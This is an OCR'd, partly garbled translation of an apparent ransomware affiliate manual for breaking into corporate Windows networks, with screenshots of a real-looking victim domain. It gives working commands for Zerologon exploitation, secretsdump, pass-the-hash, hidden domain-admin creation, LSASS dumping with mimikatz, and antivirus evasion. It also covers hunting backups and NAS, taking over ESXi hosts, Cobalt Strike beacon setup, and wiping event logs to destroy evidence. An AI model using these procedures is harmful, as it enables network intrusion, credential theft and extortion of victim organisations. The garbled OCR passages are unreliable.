WORKSTATION17 445,
PC_BUREEL_N 445,
APPLSERVER1
WORKSTATION02 445,
CLIENTWINCC3 445,
CLIENTWINCC1
APPLSERVER2
W(

PaGouan rpynna

Administrator, Administrator, winc... BENS

OTKpBITE yCTpOACTBO
Kenupoeate

CeoiicTea

MepeckaHnpoBaTe yCTPORCTED
¥cTaHoBMTE GUnLTp
Wake-On-LAN

YAEJ'IEHHOE EbIKNTHYEHWE

¥aaneHHan octanoeka paboTel M rnBepHaumna

HazHaunTe yaobHoe Mma... F2
OTnpaenTe cooBLUEHKE...

45, 1433, 3389

S06B34B5 Co3aaTe NakeTHbIA dain...

PC-BUREEL-WINT YaanuTe us cnncka

Motokos [i] Ycrpoiicte 67/ 67 (67)

-

Mucarenu of

5-1-5-21-38

On EPAUWOHHEA CUCTEME

Unknown platform (0k0)
Windor
Windows 2000 BUILTIN'Agn
Unknown platform
BUILTINVAa
5-1-5-21-38:
Unknown platform
Unknown platform
Windows BUILTIN'Agn
X BUILTINVAa

Wma xocta

TCP noptel

3anorHEHHBIA NONB30BATENE
PaGouan rpynna
OnepauywnoHHan cucTema
BezonacHocTe oBLymx nanok
Yuratenn obymx nanok
Mucarenn oBymx nanok
CeoB0jHOE NPOCTPAHCTBD
[JuckoBoe npocTpaHcTeEn

,ﬂ“ CKOEBEbIE HAKOMWUTENK

AnTaiim
AKKayHTEI NONB30BATENEN

SME EternalBlue

Then we expand/open all of the "pluses' in the IP address

column and review the rights received.

We are interested in red local disks C$

= i 192.168.2.224
» ADMINS
7 C
s DS
' SCRIPTFCT
=5 IPCS
= i 192.168.2.226
» ADMINS
y cs<=|
s D§
' SCRIPTFCT

=2 IPCS

CLIENTWINCCS 445, 3389

CLIENTWINCCT 445, 3389

If there are red disks everywhere in the domain, this means that we
have received the administrator's domain on the network and we
have rights to read and change data everywhere on the remote
machine.



If only on several machine, it means only the rights of local
administrators and it is worth looking for other accounts.

If we do not have open passwords but only hashes that could not be
decrypted, we will consider the hash login vulnerabilities in the PASS

THE HASH attacks section.

If the open computer with the red C$ drive does not have port 3389,
you can use the psexec tool, which we will go over in a separate

section.

Using the following parameters and comparing the IP sessions, it can
be determined whether we accessed the server through the

vulnerability.
=] 1- 10.254.0.16 AnTaiim AKKayHTbl NONB30BATENENR
III ADMINS 18d th4..  Administrator, GuesDM_ProgicieI,
i, 8
¢ METLOGOM
i SYSVOL
2 PCS

78d 10h ... Administrator, GuesDM_ProgicieI,
Or by the hostname in which the DC is present.

For example WHDC.domain.local (the values can be anything, it's
important for us to find out DCexactly)

Then in the service session, you can execute the commands
shell
net group
net group ""Domain Admins'" /domain

This will help us find out the accounts of domain administrators and
accordingly, is not cluttered with ordinary users and their accounts.

The level "GOD" is important to us, right? :)




Z.erologon




To exploit the vulnerability, we need to scan the network and determine the DC
- Domain Controller

How to determine it is described on page 28 above

We need to be connected to the network on which we operate, and also have
Python installed on Windows

Also, Impacket upacked on the C:\impacket path with the exploit
cve-2020-1472-exploit.py already in it

Also, put a .cmd file on the desktop with the following content:

|

Paitn  [Mpaska Qopmar Bua Cnpaska

cd C:\impacket

python cve-2828-1472-exploit.py 1RSVWX1 192.168.3.172
pause

Crp 1, ctni 1 100% Windows (CRLF) UTF-8

We will rewrite it and launch it for the purposes we need on the network.


../../../impacket

IP agpec Wnma xocTa AKKayHTbI NONL3CEATENEH 5MB EternalBlue

mi 192.168.16.18
mi 192.168.16.27
mi 192.168.16.26

Administrator, Gues bjchnson, cwedd... §YULMERABLE:# ...
Administrator, Gues bjohnson, cwedd... §YULMERABLE:# ...

mi 192.168.16.24 Adrministrator, Gues bjohnson, cwedd... | VULNERABLE:# ...
mi 192.168.16.1% Administrator, Gues tgtibjchnsen, cwedd...

mi 192.168.16.48 Administrator, Guesl krk bjohnson, cwedd... BVULNERABLE:® ...
432,108, 10.4 Administrator, Guest, HelpAssistant, itadmin, ... VULMERABLE:# ...
wi 192.168.16.136 freescalelm.agleader.local Administrator, Guest, HepAssistant, itadmin, ..  VULNERABLE:# ...
wi 19216816117 vtest.agleader.local Administrator, Guest, V%vare_&nv_iﬁ_

mi 192.162.16.54 vcenter.agleader.local Administrater, Guest D

wi 192.168.16.11 agmail-ex2013.agleader.local Administrator, Guest

wi 192.168.16.31 nps.agleader.local Administrator, Guest

i 192.168.16.76 engds-005.agleader.local Administrator, Guest

mi 192.168.16.82 epiapp-a.agleader.local Administrator, Guest

Jles1aeM COPTHPOBKY 10 AKKAYHTAM MO0JIb30BaTeJIed U MOACTABJIsIEM HYKHbIE
HAM 3HA4YEeHMS 10 MEePBOIl TOYKM KAaK HA CKPUHIIIOTE HUKE

IP agpec ra xocTa AKKayHTBl Nons3oeaTencii SME EternalBlue
mi 192.168.16.18 DC-2019-A Fi : k f

wi 192.168.16.2R g Adrninistrator, Guest bjohnson, cwedd... §VULNERABLEZ ...
mi 192.168.16.26 . ocal Administrator, Guest bjohnson, cwedd... §VULNERABLE:Z ...

Administrator, Guesd bjchnson, cwedd... §VULMERABLE:Z ...

3]

mi 192.168.16.24
wi 192.168.16.19
mi 192.168.16.43
92, 108.10.4
wi 192.168.16.136
mi 192.168.16.117
wi 192.168.16.54
mi 192.168.16.11
mi 192.168.16.31
wi 192.168.16.76
mi 192.168.16.82

[+

Administrator, Gues tgtibjohnson, cwedd...
Administrator, Guesll krk bjchnson, cwedd... §VULMERABLE:Z ...
Administrator, Guest, HepAssistant, itadmin, ...  VULMERABLE:# ...

3]

]

Administrator, Guest, HelpAssistant, itadmin, ...  VULMERABLE:# ..
Administrator, Guest, D‘u‘ware_(:nnv_sn_

Administrator, Guest

B BH B

Administrator, Guest

]

Administrator, Guest

]

Administrator, Guest

&3]

Administrator, Guest

]

Mj *Zerclogon.cmd — BnoknoT

Qain [paska Qopmat Bug  Cnpaeka
cd C:\impacket

python cve-2020-1472-exploit.py agdBserver 192.168.16.27
pausq

Save the Zerologon.cmd file and run it again, it all depends on whether the
server is patched against this vulnerability or not.

We repeat this action on all DCs in turn until we get a positive result:



n mp

vulnerable, changing : int password to empty string

If the 'Performing authentication attempts' line takes more than 4 minutes or
gives a negative result, go to the next DC or use other vulnerabilities if none of

the DCs are vulnerable.

Sometimes DCs do not impersonate themselves and it is necessary to scan all
machines in the domain (workgroup) with this exploit, but this bears fruit.

After a successful operation, go to Kali.

Connect to the company's VPN

rmPRRF- T FortiClient SSLVPN
Q for|
£ Forticlient SSL-VPN
. DB Browser for SQLite
28 Kali Forums
*\_ Firefox ES
Florence Virtual Keyboard

M meta sploit framework

R t Terminal Emulator

killer .
File Help
Connection:

m About Xfce

B yaTE Calculator

Offensive Security Training

T8 Administrator — -
Settings... Connect




Open the console and enter the following:

cd impacket/examples

sudo python3 secretsdump.py -no-pass -just-dc AGLEADER/ag40server\$@192.168.16.27

Mopcraensem pabouyio rpynny Ms ckaHepa

loit comple

\imp
npoao MHTE N

dministra
ude thor C ump . py
ord for administra

Press enter, it will ask to enter the password, enter 'kali' (it won't show up) and
press enter

Wait for the process of extracting accounts and hashes.

Once it's complete, copy everything that the console provided.



Next, go to the service hitps://www.crackmdS.ru/
Trying to decrypt the administrator hash (highlighted in yellow)

Administrator:500:aad3b435b51404ecaad3b435b51404cc HNIIBIICHCINEOTDI IS -

If we decrypt the password, we boldly break into all computers with these
creds, not forgetting to substitute an example for the working group:

AGLEADER\Administrator and our password.

If we do not receive the password we need to use the Pass The Hash attack


https://www.crackmd5.ru/

Pass The Hash



So we have hashes, but we could not get the password from the admin account.
Return to Kali.

If you closed the console, open it again

input cd impacket/examples

sudo python3 smbexec.py -hashes
aad3b435b51404eeaad3b435b51404ee:48b3420f6a0f7ae1fb29104b213154ee
Administrator@192.168.16.27

or

sudo python3 psexec.py -hashes
aad3b435b51404eeaad3b435b51404ee:48b3420f6a0f7ae1fb29104b213154¢ee

We substitute our data obtained from the Zerologon operation

4b213154ee Administrato

After execution we will get CMD on the remote DC machine — C:\Windows\system32>

Next, enter the following commands:
net user support Pa§$woOrd /add
net user support /active:yes
net localgroup Administrators support /add
If we break "High Profile" we can immediately create our own domain admin (?
Original: Eciiu iomuMmcest no «'poMkomMy» Mo:KeM €031aTh €pa3y CBOEro J0MeH aJIMUHA )

net group "Domain Admins" support /add

After that, we get our account with domain administrator rights and, accordingly, we can
break into all the machines on the domain using that account:

support Pa$$wo0rd
Next, go to the DC and remove the creds of the domain admin with mimikatz 64.exe or

32.exe. Commands:

privilege::debug - log 1234.txt - sekurlsa::logonPasswords full


mailto:Administrator@192.168.16.27

AV Bypass

/)
P 4 ,"l.



Connect to the computer, and first look at the tray near the clock and the icons
displayed. Look for AV.

If simply Windows Defender is installed on the computer, go to the settings and
add the C:\ drive to the exceptions.

Bezenacrocrs Windows

Kabuner
3awmTa oT NoAAENKN

3aluTa OT BMPYCOE U Yrpos
MpeaoTepalLaeT NOAAENKY BaXHbIX GYHKLUMA cucTEMbl GE30MacHOCTH

3awmTa yueTHbIX 3anucedi APYTMMWA MNONb30BATENAMM.

3awmra oT NOAAENKWA OTKAKUEHa. YCTPOACTBO MOXET BbiTh

BpaHamaysp W Ge20NacHOCTEL CETH YAIBUMBIM.

¥npaenenve npuncxeHuaMu/Opaysepom @ OTkn.

bBezonacHoCTs YCTpoicTEa

MpouzE0ANTENLHOCTE U
paboTocnocobHOCTL YCTPORCTE

MNapameTphl ANA CeMbK KOHTpOJ"MpyE.‘MbIﬁ AOCTYN K Nankam

3awuTnTe danbl, Nankn ¥ 0bAaCTV NaMATK Ha YCTPOWCTBE OT
HeCaHKLIMOHMPOBAHHLIX M3MEHEHWH BPEAOHOCHEIMW NPHAOXEHHAMM.

WcknroueHuns

AHTWEMpYCHaA nporpamma Microsoft Defender He nposepaeT 3neMeHTH,
KOTOPEIE Bbl MCKAOUKAW. HICKNOUeHHBIE 3eMeHTLl MOTYT COAepXaTb
Yrpo3bl, U Balle yCTPORCTBO MOXET BbITh YASBUMbIM.

YBegomneHus

AHTMBMpYCHana nporpamma Microsoft Defender 6yger otnpaenats
YBEAOMEHWA C KPUTWUECKN BAKHbIMW CEEAEHWAMM O
paboToCcnocoBHOCTM M BE30NacHOCTU Ballero yCTporcTEa. Bel moxeTe
YKa3aTh, Kakue HeKpUTUUeckue YBeAOMIEHWA Bbl XOTUTE MOAYUaTh.

B MNa paMeTphl

NcknroueHma

[oBaekTe AWM yAANUTE 3NEMEHTEI, KOTOPEIE Bbl XOTHUTE MCKAHOUNTE U3
NpoBepOK aHTWBMPYCHOW nporpammbl Microsoft Defender.

+ JobaBnTE MCKNIOUEeHWe

Darn
C\
Manka Manka

Tun faidna
CA\Users\L

Manka Mpouecc

exe
Twn ¢aina

cmd
Mpouecc




Usually antivirus without a password can stupidly be uninstalled through the
uninstallation wizard in Windows.

It is important if we see AV Sophos (blue) or Sentinel installed.
on all machines, further work with this company will be meaningless.
Other antivirus solutions can be easily killed through 2 tools:
Gmer
PowerTool
If you can't kill AV, open the Windows registry
follow the path:
A computer\HKEY LOCAL_ MACHINE\SOFTWARE

and look for folders with AV names

Look at all the subfolders that are in the folder with AV, our goal is to find the
folders and values inside them with the name 'Exclusions’.

Suppose we found the value of the exceptions, let's say
C:\users\admin\java.exe

Rename malware to java.exe and throw it on this path, if there is no such path
or folders on this machine, create 1-in-1 folders as indicated in the exceptions
and try to run our file.

In most cases, AV does not see this if it isn't too smart. :)

If nothing comes out of the above, we stomp on all machines in the domain on
port 3389 from the scanner and see if the AV is installed there.



If AV is not installed on several machines, you can put a portable softperfect
scanner there, scan the network from the inside, mount the disks and run our
h*cker, sorry choked =D

= ol 192.168.16.11 agmail-ex2013.agls
w5 IPCS

address
ADMINS

O6zop
= i 192 MoaknounTs ceTeBoi aNcK |
CeoAcTea

Konwpoeate nyTe

2 EDED

Pazmep gucka

= mi 193
2 ADMINS
Q cs

Ideally, you need to kill AV wherever possible and add C:\ drives to the
exceptions

And for computers that don't have port 3389, including NAS storages, mount
and only then start lIkh k yes what is that =D




NAS and Backups




The hardest part :)

So we got access to the domain admin
We scan the network from the inside
We look at all ports
Usually our storages hang on ports
5000,5001
and backups
Veeam: 9443,9392,9393,9401,6160
Veritas backup exec. 6101,10000,3527,6106,1125,1434,6102 server 3527,6106
or they will be signed in the hostname as NAS

Usually, we hang out outside the domain, first of all we look at the scan if we
now have access to them from a regular scan with the domain admin accounts



However, if we are in the workgroup, you can break through all the domain
administrators and try to log into them using creds without a domain from the
pwned accounts. This is done through the web interface by opening the NAS IP

through the browser and specifying the NAS port separated by a colon.

In 40 % of cases, domain admin creds should be suitable.

Log in as Admin with the same password, or try password from other domain
admins, the probability of breaking through increases.

Sometimes when scanning NAS through Softperfect, accounts are displayed that
are active in the repository, usually this:

Admin, backup, Sysadm, etc.

If we opened the network through PASS THE HASH, look for these accounts in
the results of the received hashes and get passwords from them through the

hash cracking service.

With veeam and other backups, the same thing.

And the most important thing at the Hacker stage, we need to start with disks
and computers where the most memory is from 500 gigs and more.

Accordingly, the most important and the first will be

"Big data"
JNCKOBOE NPOCTRAHCTED AnTaim ArkayHTel m
10,1 7B 361d 4h 48m 54s
10,17TB 361d 4h 48m 538s
2,00 TB 1065d 5h 22m 135 Administrat
1,17 TE 71d 1h 537m 19s Administrat
1,06 TB 271d 22h 23m 265 Administrat
1,00TE guest, admi
1,00 TB guest, admi
1,00 TB 2d 3k 38m 1s
0,98 TB 117d 1h 49m 39s
922 GB admin
637 GB 118d 21h 7m 37s
308 GB 380d 18h 10m 36s Administrat
508 GB 281d 21h 21m 54s Administrat
349 GB 108d 48m 355
200 GB 153d 4h 15m 43s Administrat
200 GB 108d 45m 20s
175 GB 108d 42m Bs
130 GB 442d 23h 2m Administrat
136 GB 386d Th 28m 37s Administrat

136 GB 183d 4h 5m 4s Administrat






This section will hold great and terrible for
me (?):

Boris Nikolaevich Yeltsin
(bopuc Hukoaaesuu EjJbIuH)
AKka. https://xss.is/members/204378/




The trick is that you don't need to bypass the AV

First you need to get creds from the vCenter
60% of the time it is in the domain and on AD creds
Otherwise, the keylogger
In my work, I often face the task of resetting the root password on esx.

Let's imagine a situation where we have vCenter administrator credentials, there
is a domain admin and the whole network is ready to fuck, but we couldn't catch
the password under esx. Here's one of the ways.

No reboot, without being too obvious (?)

BUT I STRONGLY RECOMMEND RESETTING THE PASS IN THE NIGHT
BEFORE THE OPEN NETWORK (?)

That is, you reset the password and encrypt it right away.

This method is consists of entering esx into the domain and then we will be able
to log in using the credentials of the domain administrator.

Then create a global ESX Admins group there, be sure to include our domain
admin there.

Then we return to vcenter

Select the esx host, press configure - Authentication Service - Join domain

Enter the domain in the format domain.local or domain.com, which domain can
be found by entering systeminfo on the computer in the domain.

Enter the login of the domain administrator without a domain and password.
Now everything is ready for authorization, go to the esx host using the domain
admin credentials and reset the root pass.

Then you just go to esx via ssh
Turn off the machine.

And you do dirty deeds =)
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In this section, we will look at the Psexec tool and how it will be useful in
practice.

First of all, it will help us run any file on all machines to which we have
access.

Suppose we have an exe file that we need to run

Open CMD and drag psexec.exe there

and then write the following

WHILEHE! .

txt -u FENIX\admin -p Password -d -c (

TeKCTOBMK € ainK agpecamMmu KomMnoe

Ha KOTOPOM MBI 2anycKaem ¢Bﬁﬂ YueTka ASMeH agMKWHa BmMecTe ¢ goMeHoOM napgnb oT goOMeH agMHHa ®aiin Hﬂ'l'ﬂpblﬁ EYHET sanyckates

text editor with IP addresses  the account of the domain
of the computers on which admin together with the
we run the file domain

password from domain  the file to run
admin

If you removed all AVs, added exceptions and did everything right, this exe
will run on all computers.

If you need to run the file on behalf of the system, add the file.exe to the
parameters -s -d -¢

Through Psexec, you can get and remove creds from remote computers if they
do not have port 3389 but we have an account.

Open the CS$ folder through the scanner and drop pysecdump.exe

and procdump.exe

SAWMILEH! .

11 -u DOMEN\Administ

AHNKU MaWKHEI HA KOTOPYHD
saxogum Bepem Uz cKaHepa W
KpacHeim guckom C$

YueTka ACMEH agMHUHa BMECTE ¢ goMeHOoM I'Iapnnb AOMEH agMUHa VHEJ'IEHHB OTKpEITE emd
OT HMEeHH CUCTEMEI Ha

the account of the domain YAANEHHOU Mawmhe

the IP of the machine we admin together with the
are going to take from the domain password remotely open a

scanner and a red disk C$ cmd on behalf of
the system on a
remote machine

domain admin



So we got in the machine doing
ed C2\
pysecdump.exe -s

This command will give us the admin hashes on the remote computer, we are

trying to break through the site or use PASS THE HASH in Kali or other
machines.

Next, we do

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\
WDigest /v UseLogonCredential /t REG_ DWORD /d 1

procdump.exe --accepteula -ma Isass.exe Isass.dmp

If successful, an Isass.dmp file will be created on the remote machine on the C:\
drive.

Copy it to your computer next to mimikatz.exe
We open mimikatz and do it in:
sekurlsa::minidump Isass.dmp
privilege::debug
log 1234.txt
sekurlsa::logonPasswords full
It will also give us creds or hashes.
Next, you can try to remotely enable the rdp port with the command

reg add "HKEY LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\
Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Doesn't always work!
After executing the command, it will be possible to be cut to the RDP

Do not forget to delete all files and traces of work on the remote machine.


../../../

After all the actions, if you want to wipe the traces of your stay to a
minimum and postpone the break-in

On the machines that you entered using RDP, you can open powershell and
type the following:
wevtutil el | Foreach-Object {wevtutil c1 "$ "}
This will erase all logs (""evidence'? literally translated as magazines)
Also, commands for removing hidden accounts cmd
net user support Pa$$woOrd /delete

net group ""Domain Admins" support /delete

- . "-—ii —
H Person . alil 4 n
— i Garbage ) 4_'_'" king M:-'*“- I'._].:..-
= Z'..___ e

03:21:36 . =\ ) 3 24:00:00




Though most of the sensitive documents are

locked. | also stole the password hashes
for the entire network. It won't take too
long to brute force with a rainbow table.

Besides, the average Zero Day
goes undetected for about 10 months.
"Il have p|E'r‘IT‘f of time to p|ra\; around.




Cobalt Strike

b



How 1 see all PPs

3Haewb Kobanbpy?

Do you know Cobalt?

Simply put, the above methods described by me
completely exclude Cobalt, well, if people ask why
not?



In short, we rent a server for Linux
Throw Cobalt there
Type this in the console
cd cs4.0

java -XX:ParallelGCThreads=4 -
Dcobaltstrike.server port=50050 -
Djavax.net.ssl.keyStore=./cobaltstrike.store -
Djavax.net.ssl.keyStorePassword=123456 -server -XX:
+AggressiveHeap -XX:+UseParallelGC -
javaagent:Hook.jar -classpath ./cobaltstrike.jar
server.TeamServer IP SERVER 12345

Switch to my machine, I work from Windows in Cobalt
For this, you must first install Java

Run cobaltstrike.bat

[ §

New Profile This is the connect dialog. You should use itto =
connect to a Cobalt Strike (Aggressor) team -

e ——
Port: 50050 |
User: neo l
Password: | = ]

[ Connect H Help l

Enter the IP of our rented host account and the
password that is specified in the config above.



Go to this section.

B Cobalt trike
Cobalt Sirike

J

New Connection F €8
Preferences |
Visualization
VPN Interfaces

Listeners

Script Manager
esid

Create a listener.

B new Listener - O *

Create a listener.

Name:  [123 |

Payload: [Beacon HTTP -]

Payload Options

HTTP Hosts: ip

HTTP Host (Stager): [IP

Profile: defaul -

HTTP Port (C2) (8031

HTTP Host Header |

|
l
|
HTTP Port (Bind). | ]
|
|

HTTP Proxy- [

Next, create a payload.



ows executable. Use
alt Strike Arsenal scripts (Help > Arsenal)to  ~

user
SYSTEM *

SYSTEM *
SYSTEM *

_ lindows Exec
ener: [12333 s i 12333
12333
uf \Windows EXE -

"] Use x64 payload

SYSTEM *
SYSTEM *

After clicking the Generate button, we will have
an executable, push it to the DC and run it there.

Next, we do:

Interact
SYSTEM *

Access b

Browser Pivot

Pivoting * | Desktop (VNC)

__| Spawn File Browser

Port Scan

Process List

Session

Screenshot

In the same place, select

Interact

Access
Explore *+
Fivoting *

Spawn

Session ¢

Dump Hashes
Elevate

Golden Ticket
Make Token [
One-liner

Run Mimikatz

Spawn As




Then go to

View | Affacks Re

Applications
Credentials
Downloads
Event Log
Keystrokes
Proxy Pivots
Screenshots
Script Console

Web Log

Event Log xl Targeis X

- KONOK K-KOK K -K-K-K-KOK KOROKOK-K-K K K=K |

address =
192.168.2.29
192.168.2.51
192.168.2.35
192.168.2.38
192.168.2.39
192.1668.2.50
192.168.2.61
192.168.2.66
192.168.2.69
192.168.2.85
192.168.2.101
192.166.2.104
192.168.2.105
192.166.2.109
1921682116
192.168.2.128
192.168.2.129
192.168.2.148
192.168.2.200
192.166.2.203
192.168.2.204
192.168.2.205

name

WORKSTATIONGON
DESKTOP-OUZKFRJ
WORKSTATION102N
WORKSTATIONO4
OP3040-HNYVGD2
DESKTOP-LKJGATM
WORKSTATIONS1
WORKSTATIONT4
WORKSTATIONSS

WORKSTATIONSS
DESKTOP-LUQSCOR
DESKTOP-EIGTEKA
DESKTOP-NTOSDFN
P JWINT
WORKSTATION17
WORKSTATIONS

WIN1O
DC

APPLSERVER1
APPLSERVERZ

EJserver

We select all the machines on the network and try to
break into them using the admin hash.

C



psexec

SYSTEM *@708 ' | psexeced
SYSTEM *@13548 * | psexec_psh
SYSTEM *@3204 | ssh
Scan ssh-key
Services winrm
Host winrmed

B psexec — O *
user password realm note
bla cObdef0298767e9. .. =

jva 165C523297abes. .
fc3chOafd12b4ebh...

pigheist
Administrator
birl =08

User  |Administrator

Password: [SU riv

Doman: [

Listener (12333

—— el e e ]

Session: [SYSTEM *wia 192.168.2. 204@708

[1 Use session's current access token

| Launch || Help |

It is worth mentioning that machines do not always
g0 to the general Internet.



Then do

19934 Interact ays
Access ¢
Explore
m SOCKS Server
Session * | Deploy VPN

B Mew Listener — O X
A pivot listener is a way to use a compromised system

as a redirector for other Beacon sessions. -
Name:  [8798976 ]
Payload: [windnws!beamn_reverse_tcp - ]

Listen Host: [192 168 2.204 |

Listen Port: 4444 |

Session  [SYSTEM *via 192.168.2.204@708 || .. |

[ Save H Help ]

We turn the infected computer into a local listener on
which all machines in the area will knock =D

There is no point in describing the rest of the
functionality, since for me Cobalt is only suitable for
conveniently removing creds and searching for creds

from NAS.

And so it's just bat guano that burns like a Christmas
tree (?) with all that is possible and a crypt for this
threshing floor costs fucking money and you still need

a programmer who will rewrite the payload haha.






I'm donating a self-written exploit to you for 3389

|=] bads.txt
B=| bks.exe
) : |=]' cfg.bxt
8 85| cmd_payload_x64d.exe
' | Bz cmd_payload_x86.exe
|=-]'" goods.bxt
o iplist.txt
run.bat
B=|test_payload_xbd.exe

=/ test_payload_x86.exe

‘is add an IP from 3389
it ports and run r‘n.bat

S
I'yae1 GynyT-coxpaHeHbI B OTAebHbIi TEKCTOBHUK.
f‘

The exploit first tries to.tmgh the remote machine into a

LY

-

\\"H.






Here is collected knowledge that will help you earn one
way or another, this is all that I knew.

The source of illustrations for this manual is taken
from the Fish Eye Place Manual

https:/www.yuumeiart.com/

I do not argue that there are people smarter than me
and with a much wider, vast store of knowledge, but as
for me this is enough for a pentest of any network, be it

Citrix, Cisco, Palo Alto, Pulse, Fortinet.
Bonus license for Softperfect until 2022

dUYiN30Q4+ydHwgPCwku3K
+FYDomodEqWO0bRGcTyxvdnlc7g4nne7cfwXOGPJIbBVdPeqEs7jzX2yDiVxxiiNaCvNK4T7MLOQfarrenSvr
MZEBcoOivi7QQ05BPxSG370clus/AZxAuRAcibpckx11e+R4UTNiyBh6ZV cIwii+8M1InRp+lcRmFqbgLGZ/
cbzzh09IfaFKwoGJRPcTcnizxQtBJSk9sqlbNc6SwWeiQgl+0J+A1mrkrG3zd03vSjBUbc8daN08ebjOGYDsZVptkkheSASAJt/
Uwzs0QCqO2issqS+QpE/atL V3IR63k/
2G1y6yECKu7w+s1SV9aEKsxKhuBJplIKLhbGoQIX7hGxDwwwlHFLGqCZbAcelmz7aP6xqqltEgoM20VvKv02tVUoLGYSHYtAGGoaksl
XXu4+MLs26nLUoltIflcOC1dOQsjChjXil8Im+dDOY+VIm5M0e2GckmBjTX4blWbz+hOmjl23n6f0jSndxT70Dd3J19
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